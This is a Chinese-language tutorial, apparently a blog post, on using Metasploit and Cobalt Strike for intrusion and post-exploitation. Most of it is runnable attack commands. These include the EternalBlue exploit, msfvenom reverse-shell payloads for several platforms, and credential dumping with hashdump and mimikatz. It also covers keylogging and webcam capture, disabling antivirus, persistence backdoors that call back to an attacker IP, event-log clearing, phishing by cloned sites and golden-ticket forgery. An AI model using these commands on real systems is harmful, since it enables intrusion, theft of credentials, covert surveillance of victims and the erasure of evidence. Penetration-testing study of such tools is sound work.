MSF&CS使用教程
MSF
安装
curlhttps://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/templates/metasploitframework-wrappers/msfupdate.erb >
msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使
用root用户启动的话,不会同步数据库
也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需
要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用
msfdb reinit 命令,然后使用非root用户初始化数据库。
MSF后期的升级:msfupdate
kali里面的msf升级是 apt install update apt install metasploit-framework
使用方法
进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
curl https://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使
用root用户启动的话,不会同步数据库
也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需
要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用
msfdb reinit 命令,然后使用非root用户初始化数据库。
MSF后期的升级:msfupdate
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run
后渗透阶段
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。
我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令
msfconsole -r configure.rc 进行自动攻击
msfvenom生成shellcode
普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e
编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
lhost=192.168.1.1 lport=8888 -i 3-e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom -l payload #列出所有可用的payload
常见生成格式
Windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4445 -f exe -o payload.exe
Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
Aspx
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
BASH
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
Python
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
实战攻击
MSF的6个模块
auxiliary #负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
exploits #利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
payloads #成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。
nops #提高payload稳定性及维持大小。
post #后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
MSF加载自定义exploit模块
下载一个rb文件的exploit文件
拷贝到framework/modules/exploits中
msf中执行reload_all 重新加载模块
注意:上述过程在MSF6中操作。
后渗透阶段
运行攻击成功之后,我们将会看到命令提示符 meterpreter出现,我们输入: shell即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter,我们只需输入:exit
一些可能会用到的命令
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
post后渗透阶段
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
访问文件系统
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
权限提升
可以使用getsysteam命令提升权限。但是这东西 很多时候都无法成功 至少我是这样的。提权我还是更喜欢其他的一些工具 比如烂土豆全家桶之类的。
获取用户密码
抓取自动登录的密码
run windows/gather/credentials/windows_autologin
导出密码哈希
hashdump 模块可以从SAM数据库中导出本地用户账号,执行:
run hashdump或run windows/gather/smart_hashdump
该命令的使用需要系统权限
亦或者上传mimikatz程序,先getsystem提权至系统权限,然后执行 execute -i -f mimikatz.exe,进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords
加载kiwi模块
load kiwi
查看kiwi模块的使用
help kiwi
creds_all ##列举所有凭据
creds_kerberos ##列举所有kerberos凭据
creds_msv ##列举所有msv凭据
creds_ssp ##列举所有ssp凭据
creds_tspkg ##列举所有tspkg凭据
creds_wdigest ##列举所有wdigest凭据
dcsync ##通过DCSync检索用户帐户信息
dcsync_ntlm ##通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create ##创建黄金票据
kiwi_cmd
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords 注意 kb2871997 补丁。
我们还可以使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法如下:
execute 参数 -f 可执行文件
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
生成持续性后门
启动项启动
启动项启动的话,我们先生成一个后门工具。
然后放到windows的启动目录中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startu
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
服务启动
通过服务启动,我们可以运行命令
run persistence -X -i 5 -p 4446 -r 192.168.0.104 #反弹时间间隔是5s 会自动连接192.168.0.104的4446端口,缺点是容易被杀毒软件查杀,然后它就在目标机新建了这个文件: C:\Windows\TEMP\jRBGTRRznuL.vbs ,并把该服务加入了注册表中,只要开机就会启动
清除日志
clearev
导入并执行PowerShell脚本
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
powershell_execute Get-NetLocalGroup #查看本地组
powershell_execute Get-NetLocalGroup #枚举本地(或远程)机器上的本地组
powershell_execute Get-NetLocalGroupMember #枚举本地(或远程)机器上特定本地组的成员
powershell_execute Get-NetShare #返回本地(或远程)机器上的打开共享
powershell_execute Get-NetLoggedon #返回登录本地(或远程)机器的用户
powershell_execute Get-NetSession #返回本地(或远程)机器的会话信息
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户
msf一些其他命令
文件系统命令
cat #将文件内容读到屏幕上
cd #更改目录
dir #列出文件
download #下载文件或目录
edit #编辑文件
getlwd #打印本地工作目录
getwd #打印工作目录
lcd #更改本地工作目录
lpwd #打印本地工作目录
ls #列出文件
mkdir #制作目录
mv #将源移动到目标
pwd #打印工作目录
rm #删除指定文件
rmdir #删除目录
search #搜索文件
show_mount #列出所有挂载点/逻辑驱动器
upload #上传文件或目录
网络命令
arp #显示主机 ARP 缓存
getproxy #显示当前代理配置
ifconfig #显示网络接口
ipconfig #显示网络接口
netstat #显示网络连接
portfwd #将本地端口转发到远程服务
route #查看和修改路由表
系统命令
clearev #清除事件日志
drop_token #放弃任何活动的模拟令牌
execute #执行命令
getenv #获取一个或多个环境变量值
getpid #获取当前进程标识符
getprivs #尝试启用当前进程可用的所有权限
getsid #获取服务器运行的用户的 SID
getuid #获取服务器运行的用户
kill #终止进程
ps #列出正在运行的进程
reboot #重启远程计算机
reg #修改远程注册表并与之交互
rev2self #在远程机器上调用 RevertToSelf()
shell #放入系统命令 shell
shutdown #关闭远程计算机
steal_token #尝试从目标进程窃取模拟令牌
suspend #暂停或恢复进程列表
sysinfo #获取有关远程系统的信息,例如 OS
用户界面命令
enumdesktops #列出所有可访问的桌面和工作站
getdesktop #获取当前的meterpreter桌面
idletime #返回远程用户空闲的秒数
keyscan_dump #转储键盘记录数据
keyscan_start #开始键盘记录
keyscan_stop #停止键盘记录
screenshot #抓取交互式桌面的截图
setdesktop #更改meterpreters当前桌面
uictl #控制一些用户界面组件
摄像头命令
record_mic #从默认麦克风录制音频
webcam_chat #开启视频
webcam_list #列出网络摄像头
webcam_snap #从指定的网络摄像头拍摄快照
webcam_stream #从指定的网络摄像头播放视频流
CS
基于kali端演示 建议放在vps上。
安装
安CS需要提前安装好java语言环境 java1.8以上即可
Java安装
上传到vps中,解压:tar -xzvf jdk-8u191-linux-x64.tar.gz
移动到opt目录下: mv jdk1.8.0_191/ /opt/
进入jdk目录:cd /opt/jdk1.8.0_191
执行 vim ~/.bashrc , 并添加下列内容
# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_191
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行: source ~/.bashrc
执行:
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_191/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_191/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_191/bin/java
update-alternatives --set javac /opt/jdk1.8.0_191/bin/javac
查看结果:
update-alternatives --config java
update-alternatives --config javac
安装好java以后直接上传CS安装包然后解压后就可以正常使用了。
CS启动命令
进入cobalstrike中: cd cobaltstrike-linux/
启动服务端 ./teamserver IP地址 密码
后台运行,关闭当前终端依然运行:nohup ./teamserver 服务器地址 密码 &
启动客户端(Linux) ./statrt.sh
启动客户端(windwos) ./start.bat
成功启动效果图

使用方法
创建监听器&远程加载插件
先点击Cobalt Strike 然后点击Listeners模块然后点击add就可以添加监听器


·
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;
其中包含DNS、HTTP、HTTPS、SMB。
Beacon可以选择通过DNS还是HTTP协议出口网络,你可以在使用Beacon通讯过程中切换HTTP和
DNS。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些
主机轮询。
防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。通过种种方式获取shell以后(比如直
接运行生成的exe),就可以使用Beacon了。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到CS上。
本地加载插件先点击Cobalt Strike然后再ScriptManager模块就 点击load 选择加载的cna插件

服务端加载插件
CobaltStrike服务器端有个 agscript文件,他是用来在服务器端运行cna插件文件的
./agscript [host] [port] [user] [pass] </path/to/file.cna>
[host] #cs服务器的ip地址
[port] #cs的端口号
[user] #用户名,用来运行这个脚本的用户名,任意。
[pass] #cs的密码,就是启动cs时你设置的密码。
[path] #cna文件的路径。
后台运行
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 & nohup.out
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 >>nohup1.out &
CS生成木马攻击
我们生成监听器后一般会生成木马进行攻击。我的是4.7在payload模块。
常用的就生成windows模块

选择那个都差不多我感觉 反正直接都会被杀。选择后点击监听器就可以了。
CS选择钓鱼攻击
CS4.7在这个模块

然后选择需要克隆的网站,下面的就是CS服务端的IP地址。以及访问的端口。最下面的是选择是否记录键盘日志

访问网页后 会有日志回显,但是我本地做测试没有成功。
对于被控主机的操作
视图view
Applications 显示受害者机器的应用信息;
Credentials 显示受害者机器的凭证信息,通过hashdump和mimikatz获取的密码都保存
在这里;
Downloads 查看从被控机器上下载的文件;
Event Log 可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天;
Keystrokes 查看键盘记录;
Proxy Pivots 查看代理信息;
Screenshots 查看屏幕截图;
Script Console 在这里可以加载各种脚本以增强功能,脚本地址
Targets 查看目标;
Web Log 查看web日志
对于被控主机的操作
Interact 打开beacon
Access
dump hashes 获取hash
Elevate 提权
Golden Ticket 生成黄金票据注入当前会话
MAke token 凭证转换
Run Mimikatz 运行 Mimikatz
Spawn As 用其他用户生成Cobalt Strike的beacon
Explore
Browser Pivot 劫持目标浏览器进程
Desktop(VNC) 桌面交互
File Browser 文件浏览器
Net View 命令Net View
Port scan 端口扫描
Process list 进程列表
Screenshot 截图
Pivoting
SOCKS Server 代理服务
Listener 反向端口转发
Deploy VPN 部署VPN
Spawn 新的通讯模式并生成会话
Session 会话管理,删除,心跳时间,退出,备注
抓取hash和dump明文密码
这两项功能都需要管理员权限,如果权限不足,先提权
抓取密码哈希:右键被控主机——>Access——>Dump Hashes
利用mimikatz抓取明文密码:右键被控主机——>Access——>Run Mimikatz
抓取密码hash 可以直接用 hashdump
使用mimikatz抓取明文密码,也可以直接输入:logonpasswords
当获取的当前权限不够时,可以使用提权功能
右键被控主机——>Access——>Elevate
测试Windows Server 2008R2 、Win7 及以下系统可用。Win10不可用
控主机建立Socks4代理
当我们控制的主机是一台位于公网和内网边界的服务器 ,我们想利用该主机继续对内网进行渗透,于是,我们可以利用CS建立socks4A代理。
进程列表(注入进程,键盘监控)
右键被控主机——>Explore——>Process List
Inject注入进程
inject 进程PID 进程位数 监听
键盘记录
keylogger 进程PID 进程位数
键盘监听记录,也可以直接输入 keylogger
生成黄金票据
生成黄金票据的前提需要我们已经获取到用户的hash 右键当前获得的主机——>Access——>Golden Ticket
在弹出来的对话框中输入以下:
User:要伪造用户名,这里我们一般填administrator
Domain:域名
Domain SID:域SID
Krbtgt Hash:krbtgt用户的哈希
最后点击buid就可以了。
端口扫描
portscan 192.168.10.1-192.168.10.10 22,445 arp 1024
portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024
portscan 192.168.10.1-192.168.10.10 22,445 none 1024[none选项默认所有机器都是存活]
一般我们直接运行命令
portscan 192.168.1.0/24 22,445,1433,3306
哈希传递攻击或SSH远程登录
进行了上一步的端口扫描后,我们这里视图——>目标就会有当前网段的存活主机
对于Linux机器,如果我们知道账号密码的话,可以远程SSH连接,并返回一个CS的session。需要一台服务器作为中继才可以控制Linux服务器,我们这里先获取到一个windows服务器的权限,然后进入windows服务器的beacon进行执行命令 可以两种方式远程连接:ssh 和 ssh-key 可以图形化操作,也可以命令行操作:ssh 192.168.10.13:22 root root
MSF与CS联动
有时候msf上线后需要用cs做一些操作,重新上传马,麻烦了一点。一般直接就用cs和msf的联动。
CS复制会话到MSF
1、CS创建外部监听器
2、MSF开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost CS服务器地址
set lport CS外联监听器的端口(此处应为4441)
3、CS指定会话里运行spawn 外联监听器名
MSF复制会话到MSF
1、将MSF获得meterpreter会话放在后台:backgroud
2、注入会话
use exploit/windows/local/payload_inject
session 选择要复制的session会话
set payload windows/meterpreter/reverse_http
set lhost CS服务器地址
set lport CS外联监听器的端口(此处应为4142)
3、CS创建监听器
4、MSF运行注入
其实操作原理都差不多 都是开启监听器然后转发流量的感觉。
致谢
谢公子内网攻防